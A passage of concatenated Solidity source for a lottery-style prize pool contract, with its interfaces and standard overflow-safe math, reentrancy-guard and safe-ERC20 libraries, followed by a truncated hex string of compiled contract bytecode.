total = total.add(IERC20Upgradeable(ticket).totalSupply());
return total;
}
function _canAddLiquidity(uint256 _amount) internal view returns (bool) {
uint256 tokenTotalSupply = _tokenTotalSupply();
return (tokenTotalSupply.add(_amount) <= liquidityCap);
}
function _canAwardExternal(address _externalToken) internal virtual view returns (bool);
function _token() internal virtual view returns (IERC20Upgradeable);
function _balance() internal virtual returns (uint256);
function _supply(uint256 mintAmount) internal virtual;
function _redeem(uint256 redeemAmount) internal virtual returns (uint256);
modifier onlyTicket(address controlledToken) {
require(address(ticket) == controlledToken, "PRIZEPOOL: ONLY_TICKET");
_;
}
modifier onlyPrizeStrategy() {
require(_msgSender() == address(prizeStrategy), "PRIZEPOOL: ONLY_PRIZESTRATEGY");
_;
}
modifier canAddLiquidity(uint256 _amount) {
require(_canAddLiquidity(_amount), "PRIZEPOOL: EXCEEDS_LIQUIDITY_CAP");
_;
}
modifier onlyReserve() {
ReserveInterface reserve = ReserveInterface(reserveRegistry.lookup());
require(address(reserve) == msg.sender, "PRIZEPOOL: ONLY_RESERVE");
_;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./TokenListenerInterface.sol";
import "./ControlledTokenInterface.sol";
interface PrizePoolInterface {
function depositTo(
address to,
uint256 amount,
address controlledToken,
address referrer
)
external;
function withdrawInstantlyFrom(
address from,
uint256 amount,
address controlledToken,
uint256 maximumExitFee
) external returns (uint256);
function withdrawReserve(address to) external returns (uint256);
function awardBalance() external view returns (uint256);
function captureAwardBalance() external returns (uint256);
function award(
address to,
uint256 amount,
address controlledToken
)
external;
function transferExternalERC20(
address to,
address externalToken,
uint256 amount
)
external;
function awardExternalERC20(
address to,
address externalToken,
uint256 amount
)
external;
function awardExternalERC721(
address to,
address externalToken,
uint256[] calldata tokenIds
)
external;
function calculateTimelockDuration(
address from,
address controlledToken,
uint256 amount
)
external
returns (
uint256 durationSeconds,
uint256 burnedCredit
);
function calculateEarlyExitFee(
address from,
address controlledToken,
uint256 amount
)
external
returns (
uint256 exitFee,
uint256 burnedCredit
);
function estimateCreditAccrualTime(
address _controlledToken,
uint256 _principal,
uint256 _interest
)
external
view
returns (uint256 durationSeconds);
function balanceOfCredit(address user, address controlledToken) external returns (uint256);
function setCreditPlanOf(
address _controlledToken,
uint128 _creditRateMantissa,
uint128 _creditLimitMantissa
)
external;
function creditPlanOf(
address controlledToken
)
external
view
returns (
uint128 creditLimitMantissa,
uint128 creditRateMantissa
);
function setLiquidityCap(uint256 _liquidityCap) external;
function setPrizeStrategy(TokenListenerInterface _prizeStrategy) external;
function token() external view returns (address);
function accountedBalance() external view returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
interface RNGInterface {
event RandomNumberRequested(uint32 indexed requestId, address indexed sender);
event RandomNumberCompleted(uint32 indexed requestId, uint256 randomNumber);
function getLastRequestId() external view returns (uint32 requestId);
function getRequestFee() external view returns (address feeToken, uint256 requestFee);
function requestRandomNumber() external returns (uint32 requestId, uint32 lockBlock);
function isRequestComplete(uint32 requestId) external view returns (bool isCompleted);
function randomNumber(uint32 requestId) external returns (uint256 randomNum);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
interface RegistryInterface {
function lookup() external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
interface ReserveInterface {
function reserveRateMantissa() external view returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCastUpgradeable {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./IERC20Upgradeable.sol";
import "./SafeMathUpgradeable.sol";
import "./AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
interface TicketInterface {
function draw(uint256 randomNumber) external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
interface TokenControllerInterface {
function beforeTokenTransfer(address from, address to, uint256 amount) external;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./TokenListenerInterface.sol";
import "./TokenListenerLibrary.sol";
import "./Constants.sol";
abstract contract TokenListener is TokenListenerInterface {
function supportsInterface(bytes4 interfaceId) external override view returns (bool) {
return (
interfaceId == Constants.ERC165_INTERFACE_ID_ERC165 ||
interfaceId == TokenListenerLibrary.ERC165_INTERFACE_ID_TOKEN_LISTENER
);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
import "./IERC165Upgradeable.sol";
interface TokenListenerInterface is IERC165Upgradeable {
function beforeTokenMint(address to, uint256 amount, address controlledToken) external;
function beforeTokenTransfer(address from, address to, uint256 amount, address controlledToken) external;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.12;
library TokenListenerLibrary {
bytes4 public constant ERC165_INTERFACE_ID_TOKEN_LISTENER = 0xff5e34e7;
}
| 0x608060405234801561001057600080fd5b506004361061030c5760003560e01c8063719ce73e1161019d578063acca5b95116100e9578063c48ddbcb116100a2578063d605787b1161007c578063d605787b14610861578063dfb2f13b14610869578063f2fde38b14610871578063f48af352146108975761030c565b8063c48ddbcb146107b8578063c685327014610836578063d5ad6bf6146108595761030c565b8063acca5b951461072e578063b024468214610736578063b221095714610764578063b9ee1e05146107a0578063c2f19ee8146107a8578063c42b42a0146107b05761030c565b80638aa3ec6f1161015657806394144c6b1161013057806394144c6b146106f05780639417783f146106f857806395e5f9ee1461071e5780639dafafb0146107265761030c565b80638aa3ec6f146106ba5780638acfaca9146106e05780638da5cb5b146106e85761030c565b8063719ce73e1461065757806372f33ea91461065f578063738bbea8146106675780637f4296d71461066f578063876f5c7e14610695578063884a44481461069d5761030c565b80634c169f4f1161025c578063671137c4116102155780636bea5344116101ef5780636bea5344146106225780636cc25db71461062a5780636dfb038614610632578063715018a61461064f5761030c565b8063671137c4146105e45780636a74f107146106125780636be51c4f1461061a5761030c565b80634c169f4f146105125780634e5d08e01461051a578063500db70d14610540578063605e25ac1461054857806362c77a611461056e57806366968221146105765761030c565b80632c8fe73d116102c957806338a9b4b6116102a357806338a9b4b61461047657806342d092091461049557806347bed998146104ed5780634aba4f6b1461050a5761030c565b80632c8fe73d1461041257806330fcdf411461041a578063382a840b146104405761030c565b806301b48e341461031157806301ffc9a714610340578063035d09f81461037b5780630d847fc4146103c5578063111070e4146103e95780632a7ad609146103f1575b600080fd5b61032e6004803603602081101561032757600080fd5b5035610965565b60408051918252519081900360200190f35b6103676004803603602081101561035657600080fd5b50356001600160e01b03191661097e565b604080519115158252519081900360200190f35b6103c3600480360360c081101561039157600080fd5b508035906020810135906001600160a01b03604082013581169160608101358216916080820135169060a001356109b4565b005b6103cd610a76565b604080516001600160a01b039092168252519081900360200190f35b610367610a85565b6103f9610a94565b6040805163ffffffff9092168252519081900360200190f35b61032e610aa0565b6103c36004803603602081101561043057600080fd5b50356001600160a01b0316610aaf565b6103c36004803603606081101561045657600080fd5b506001600160a01b03813581169160208101359160409091013516610bc9565b6103c36004803603602081101561048c57600080fd5b50351515610cc7565b61049d610d7d565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156104d95781810151838201526020016104c1565b505050509050019250505060405180910390f35b61032e6004803603602081101561050357600080fd5b5035610d89565b610367610d94565b6103c3610e19565b6103c36004803603602081101561053057600080fd5b50356001600160a01b0316610f00565b6103cd610fbc565b6103c36004803603602081101561055e57600080fd5b50356001600160a01b0316610fcb565b61049d6110ee565b6103c36004803603602081101561058c57600080fd5b810190602081018135600160201b8111156105a657600080fd5b8201836020820111156105b857600080fd5b803590602001918460208302840111600160201b831117156105d957600080fd5b5090925090506110fa565b6103c3600480360360408110156105fa57600080fd5b506001600160a01b03813581169160200135166111e1565b610367611264565b6103cd61127d565b6103f961128c565b6103cd61129f565b6103c36004803603602081101561064857600080fd5b50356112ae565b6103c3611321565b6103cd6113cd565b61032e6113dc565b6103676113e2565b6103c36004803603602081101561068557600080fd5b50356001600160a01b0316611435565b61036761152d565b6103c3600480360360208110156106b357600080fd5b503561154c565b6103c3600480360360208110156106d057600080fd5b50356001600160a01b03166115bf565b61032e6116d9565b6103cd6116df565b61032e6116ee565b61049d6004803603602081101561070e57600080fd5b50356001600160a01b03166116f4565b610367611760565b61036761176a565b6103f9611773565b6103c36004803603604081101561074c57600080fd5b506001600160a01b038135811691602001351661177f565b6103c36004803603608081101561077a57600080fd5b506001600160a01b0381358116916020810135821691604082013591606001351661182d565b6103c361198a565b6103cd611c0b565b61032e611c1a565b6103c3600480360360408110156107ce57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156107f857600080fd5b82018360208201111561080a57600080fd5b803590602001918460208302840111600160201b8311171561082b57600080fd5b509092509050611c5f565b6103c36004803603602081101561084c57600080fd5b503563ffffffff16611ed4565b61032e611f47565b6103cd611f51565b6103c3611f60565b6103c36004803603602081101561088757600080fd5b50356001600160a01b0316612228565b6103c3600480360360c08110156108ad57600080fd5b8135916020810135916001600160a01b036040830135811692606081013582169260808201359092169181019060c0810160a0820135600160201b8111156108f457600080fd5b82018360208201111561090657600080fd5b803590602001918460208302840111600160201b8311171561092757600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061232b945050505050565b60006109786109726126d1565b8361270e565b92915050565b60006001600160e01b031982166301ffc9a760e01b14806109785750506001600160e01b031916600162a1cb1960e01b03191490565b600054610100900460ff16806109cd57506109cd612737565b806109db575060005460ff16155b610a165760405162461bcd60e51b815260040180806020018281038252602e8152602001806146b0602e913960400191505060405180910390fd5b600054610100900460ff16158015610a41576000805460ff1961ff0019909116610100171660011790555b6060610a5188888888888661232b565b610a5a83612742565b508015610a6d576000805461ff00191690555b50505050505050565b6071546001600160a01b031681565b60735463ffffffff1615155b90565b60735463ffffffff1690565b6000610aaa6127d2565b905090565b610ab76127eb565b6001600160a01b0316610ac86116df565b6001600160a01b031614610b11576040805162461bcd60e51b8152602060048201819052602482015260008051602061479b833981519152604482015290519081900360640190fd5b610b196127ef565b6001600160a01b0381161580610b445750610b446001600160a01b03821663266fce1f60e11b612861565b610b7f5760405162461bcd60e51b81526004018080602001828103825260328152602001806146de6032913960400191505060405180910390fd5b607180546001600160a01b0319166001600160a01b0383169081179091556040517fc4feff61630891ea2cb42a54fbe3ff2e65422f2ed17323ac6b65f4521112e87e90600090a250565b6065546001600160a01b0316610bdd6127eb565b6001600160a01b031614610c225760405162461bcd60e51b81526004018080602001828103825260268152602001806149cb6026913960400191505060405180910390fd5b6066546001600160a01b0382811691161415610c4057610c406127ef565b6070546001600160a01b031615610cc2576070546040805163382a840b60e01b81526001600160a01b0386811660048301526024820186905284811660448301529151919092169163382a840b91606480830192600092919082900301818387803b158015610cae57600080fd5b505af1158015610a6d573d6000803e3d6000fd5b505050565b610ccf6127eb565b6001600160a01b0316610ce06116df565b6001600160a01b031614610d29576040805162461bcd60e51b8152602060048201819052602482015260008051602061479b833981519152604482015290519081900360640190fd5b610d316127ef565b6076805460ff191682151517908190556040805160ff90921615158252517f6959d02e8fb6264d1d39bf37f1e725001f342714933cf38f8627a2442efc43fd916020908290030190a150565b6060610aaa606d612884565b600061097882612964565b60685460735460408051630e866e6f60e21b815263ffffffff9092166004830152516000926001600160a01b031691633a19b9bc916024808301926020929190829003018186803b158015610de857600080fd5b505afa158015610dfc573d6000803e3d6000fd5b505050506040513d6020811015610e1257600080fd5b5051905090565b610e216113e2565b610e5c5760405162461bcd60e51b81526004018080602001828103825260278152602001806146116027913960400191505060405180910390fd5b607380546bffffffffffffffffffffffff19811690915560405163ffffffff80831692600160201b900416907fee6702c46c5618e6fc7e625c71f4c85df9c91d456cb16a3aea71ab83b1fee00590600090a16065546040805163ffffffff84811682529151918516926001600160a01b03169133917fd50026ee0824513af20cdf5e72d1fbfbe8fd646ee0576378e080326f1a695e58919081900360200190a45050565b610f086116df565b6001600160a01b0316610f196127eb565b6001600160a01b03161480610f4857506072546001600160a01b0316610f3d6127eb565b6001600160a01b0316145b80610f6d57506071546001600160a01b0316610f626127eb565b6001600160a01b0316145b610fa85760405162461bcd60e51b815260040180806020018281038252602d8152602001806147bb602d913960400191505060405180910390fd5b610fb06127ef565b610fb9816129ab565b50565b6067546001600160a01b031681565b610fd36127eb565b6001600160a01b0316610fe46116df565b6001600160a01b03161461102d576040805162461bcd60e51b8152602060048201819052602482015260008051602061479b833981519152604482015290519081900360640190fd5b6110356127ef565b6001600160a01b038116158061106357506110636001600160a01b038216600162a1cb1960e01b0319612861565b61109e5760405162461bcd60e51b815260040180806020018281038252602e8152602001806145ae602e913960400191505060405180910390fd5b607080546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f9fc437aa70ad4ee5f33f6772bf338eed41e21b95435820817ab8b4df161ce4dd90600090a250565b6060610aaa606b612884565b6111026116df565b6001600160a01b03166111136127eb565b6001600160a01b0316148061114257506072546001600160a01b03166111376127eb565b6001600160a01b0316145b8061116757506071546001600160a01b031661115c6127eb565b6001600160a01b0316145b6111a25760405162461bcd60e51b815260040180806020018281038252602d8152602001806147bb602d913960400191505060405180910390fd5b6111aa6127ef565b60005b81811015610cc2576111d98383838181106111c457fe5b905060200201356001600160a01b03166129ab565b6001016111ad565b6111e96127eb565b6001600160a01b03166111fa6116df565b6001600160a01b031614611243576040805162461bcd60e51b8152602060048201819052602482015260008051602061479b833981519152604482015290519081900360640190fd5b61124b6127ef565b611257606d8284612bf6565b61126082612cfe565b5050565b600061126e610a85565b8015610aaa5750610aaa610d94565b6070546001600160a01b031681565b607354600160201b900463ffffffff1690565b6066546001600160a01b031681565b6112b66127eb565b6001600160a01b03166112c76116df565b6001600160a01b031614611310576040805162461bcd60e51b8152602060048201819052602482015260008051602061479b833981519152604482015290519081900360640190fd5b6113186127ef565b610fb981612742565b6113296127eb565b6001600160a01b031661133a6116df565b6001600160a01b031614611383576040805162461bcd60e51b8152602060048201819052602482015260008051602061479b833981519152604482015290519081900360640190fd5b6033546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3603380546001600160a01b0319169055565b6065546001600160a01b031681565b60695481565b607354600090600160401b900463ffffffff1661140157506000610a91565b6073546074546114259163ffffffff91821691600160401b909104811690612d5616565b61142d612db0565b119050610a91565b61143d6127eb565b6001600160a01b031661144e6116df565b6001600160a01b031614611497576040805162461bcd60e51b8152602060048201819052602482015260008051602061479b833981519152604482015290519081900360640190fd5b61149f6127ef565b6114a7610a85565b156114e35760405162461bcd60e51b81526004018080602001828103825260248152602001806147106024913960400191505060405180910390fd5b606880546001600160a01b0319166001600160a01b0383169081179091556040517ff935763cc7c57ee8ed6318ed71e756cca0731294c9f46ff5b386f36d6ff1417a90600090a250565b6000611537612db4565b8015610aaa5750611546610a85565b15905090565b6115546127eb565b6001600160a01b03166115656116df565b6001600160a01b0316146115ae576040805162461bcd60e51b8152602060048201819052602482015260008051602061479b83398151915260448